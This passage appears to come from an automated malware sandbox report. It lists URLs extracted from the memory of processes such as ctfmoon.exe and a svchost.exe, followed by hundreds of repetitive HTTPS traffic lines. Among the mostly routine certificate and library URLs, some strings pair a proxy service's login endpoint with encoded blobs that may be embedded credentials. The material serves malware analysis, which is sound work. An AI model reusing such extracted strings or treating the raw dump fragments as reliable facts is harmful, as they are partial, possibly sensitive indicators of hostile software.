Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/0
Source: ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.cip.cc
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtdConverting
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.oberhumer.com
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.openssl.org/V
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEprng
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.iproyal.com
Source: ctfmoon.exe, 0000003B.00000002.2120562809.0000000000455000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://api.iproyal.com/https://api6.my-ip.io/ipidna:
Source: ctfmoon.exe, 0000003B.00000002.2121926894.0000000011892000.00000004.00001000.00020000.00000000.sdmp, ctfmoon.exe, 0000003B.00000002.2121926894.0000000011855000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.iproyal.com/v1/users/login
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011A16000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.iproyal.com/v1/users/loginPSwCB0VWbAAlZBEwPQBeOA4tBxw9M1FYCQ==CySYdpiZCN4Zy0J/wrRpx3Q7le
Source: ctfmoon.exe, 0000003B.00000002.2121926894.0000000011892000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.iproyal.com/v1/users/loginPost
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.iproyal.com1719641140worldIsShitty?api.iproyal.com:443tcpapi.iproyal.com
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/Microsoft/clrmd
Source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf
Source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf8
Source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f
Source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/dotnet/diagnostics
Source: Meson.exe, 0000003D.00000002.4118996056.000000000A110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urfave/cli/blob/main/docs/CHANGELOG.md
Source: Meson.exe, 0000003D.00000002.4118996056.000000000A16E000.00000004.00001000.00020000.00000000.sdmp, Meson.exe, 0000003D.00000002.4118996056.000000000A170000.00000004.00001000.00020000.00000000.sdmp, Meson.exe, 0000003D.00000002.4118996056.000000000A16A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urfave/cli/blob/main/docs/CHANGELOG.md#deprecated-cli-app-action-signature
Source: Meson.exe, 0000003D.00000002.4118996056.000000000A16A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urfave/cli/blob/main/docs/CHANGELOG.md#deprecated-cli-app-action-signatureEastern
Source: Meson.exe, 0000003D.00000002.4118996056.000000000A110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urfave/cli/blob/main/docs/CHANGELOG.md.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000E22000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmp, Meson.exe, 0000003D.00000000.2220030801.0000000000A6B000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/urfave/cli/blob/main/docs/CHANGELOG.mdruntime:
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: ctfmoon.exe, 0000003B.00000002.2123555517.0000000011A16000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.ssl.com/repository0
Source: Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 57084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61072
Source: unknown	Network traffic detected: HTTP traffic on port 63589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59309
Source: unknown	Network traffic detected: HTTP traffic on port 59339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56165
Source: unknown	Network traffic detected: HTTP traffic on port 53036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58104
Source: unknown	Network traffic detected: HTTP traffic on port 53982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59671
Source: unknown	Network traffic detected: HTTP traffic on port 53007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62399
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64337
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51833
Source: unknown	Network traffic detected: HTTP traffic on port 53620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55882
Source: unknown	Network traffic detected: HTTP traffic on port 55464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64469
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50999
Source: unknown	Network traffic detected: HTTP traffic on port 63262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53105
Source: unknown	Network traffic detected: HTTP traffic on port 52197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63268
Source: unknown	Network traffic detected: HTTP traffic on port 64457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51855
Source: unknown	Network traffic detected: HTTP traffic on port 53047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 60895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59339
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62066
Source: unknown	Network traffic detected: HTTP traffic on port 55120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55829
Source: unknown	Network traffic detected: HTTP traffic on port 59922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64469 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59627
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62910
Source: unknown	Network traffic detected: HTTP traffic on port 54503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61021
Source: unknown	Network traffic detected: HTTP traffic on port 49478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61839
Source: unknown	Network traffic detected: HTTP traffic on port 64982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53651
Source: unknown	Network traffic detected: HTTP traffic on port 52996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54503
Source: unknown	Network traffic detected: HTTP traffic on port 63404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64667
Source: unknown	Network traffic detected: HTTP traffic on port 64393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62020
Source: unknown	Network traffic detected: HTTP traffic on port 55829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55049
Source: unknown	Network traffic detected: HTTP traffic on port 61499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54083
Source: unknown	Network traffic detected: HTTP traffic on port 64954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63589
Source: unknown	Network traffic detected: HTTP traffic on port 65387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55856
Source: unknown	Network traffic detected: HTTP traffic on port 49201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55730
Source: unknown	Network traffic detected: HTTP traffic on port 59111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60883
Source: unknown	Network traffic detected: HTTP traffic on port 65051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49345
Source: unknown	Network traffic detected: HTTP traffic on port 55856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57765
Source: unknown	Network traffic detected: HTTP traffic on port 62066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63404
Source: unknown	Network traffic detected: HTTP traffic on port 57562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63649
Source: unknown	Network traffic detected: HTTP traffic on port 63850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64056
Source: unknown	Network traffic detected: HTTP traffic on port 62226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65387
Source: unknown	Network traffic detected: HTTP traffic on port 50999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54267
Source: unknown	Network traffic detected: HTTP traffic on port 59508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58623
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55120
Source: unknown	Network traffic detected: HTTP traffic on port 52986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57785
Source: unknown	Network traffic detected: HTTP traffic on port 59492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58631
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58076
Source: unknown	Network traffic detected: HTTP traffic on port 60841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62443
Source: unknown	Network traffic detected: HTTP traffic on port 57391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65051
Source: unknown	Network traffic detected: HTTP traffic on port 62399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49201
Source: unknown	Network traffic detected: HTTP traffic on port 58623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53982
Source: unknown	Network traffic detected: HTTP traffic on port 51023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53075
Source: unknown	Network traffic detected: HTTP traffic on port 55049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53074
Source: unknown	Network traffic detected: HTTP traffic on port 62668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64078
Source: unknown	Network traffic detected: HTTP traffic on port 58934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50922
Source: unknown	Network traffic detected: HTTP traffic on port 54214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56109
Source: unknown	Network traffic detected: HTTP traffic on port 53016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54721
Source: unknown	Network traffic detected: HTTP traffic on port 53086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55021
Source: unknown	Network traffic detected: HTTP traffic on port 62020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61493
Source: unknown	Network traffic detected: HTTP traffic on port 54267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62465
Source: unknown	Network traffic detected: HTTP traffic on port 49270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62226
Source: unknown	Network traffic detected: HTTP traffic on port 54083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54214
Source: unknown	Network traffic detected: HTTP traffic on port 54721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55668
Source: unknown	Network traffic detected: HTTP traffic on port 63235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53007
Source: unknown	Network traffic detected: HTTP traffic on port 63258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51071
Source: unknown	Network traffic detected: HTTP traffic on port 51833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62076
Source: unknown	Network traffic detected: HTTP traffic on port 53651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64393
Source: unknown	Network traffic detected: HTTP traffic on port 63859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63859
Source: unknown	Network traffic detected: HTTP traffic on port 54005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63850
Source: unknown	Network traffic detected: HTTP traffic on port 60883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62644
Source: unknown	Network traffic detected: HTTP traffic on port 62649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57500
Source: unknown	Network traffic detected: HTTP traffic on port 53105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59922
Source: unknown	Network traffic detected: HTTP traffic on port 50922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57074
Source: unknown	Network traffic detected: HTTP traffic on port 61072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64954
Source: unknown	Network traffic detected: HTTP traffic on port 57765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49478
Source: unknown	Network traffic detected: HTTP traffic on port 55882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54486
Source: unknown	Network traffic detected: HTTP traffic on port 54486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51652
